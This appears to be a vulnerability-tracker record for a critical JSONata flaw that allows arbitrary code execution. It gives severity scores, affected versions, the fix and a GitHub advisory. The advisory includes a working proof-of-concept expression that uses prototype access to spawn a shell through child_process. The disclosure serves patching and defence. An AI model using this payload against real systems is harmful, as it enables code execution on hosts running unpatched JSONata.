CVE-2026-77414

criticalpriority · track · 0EPSS 0.006 · 47 %ileRUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.57% (47th) EPSS
CVSS 9.8 · critical
Is it mine?
4 products
Check your exposure
Who says so?
2 sources
fstec_bdu · osv

EPSS · scored 2026-10-27

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8

v3.19.8criticalAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · FSTEC (BDU) RU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.08.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

CWE-94USCWE-94USCWE-94US
04

affected products (4)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-2943-5xfg-gq5fJSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions2026-08-21ghsa · osvUS

    Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871 This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({}); ```

06

also known as (2)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

fstec_bduosvNVDCVE.orgMITRE
published 2026-08-21modified 2026-08-26
08

references (5) nvd

External citations — patches, advisories, analysis.

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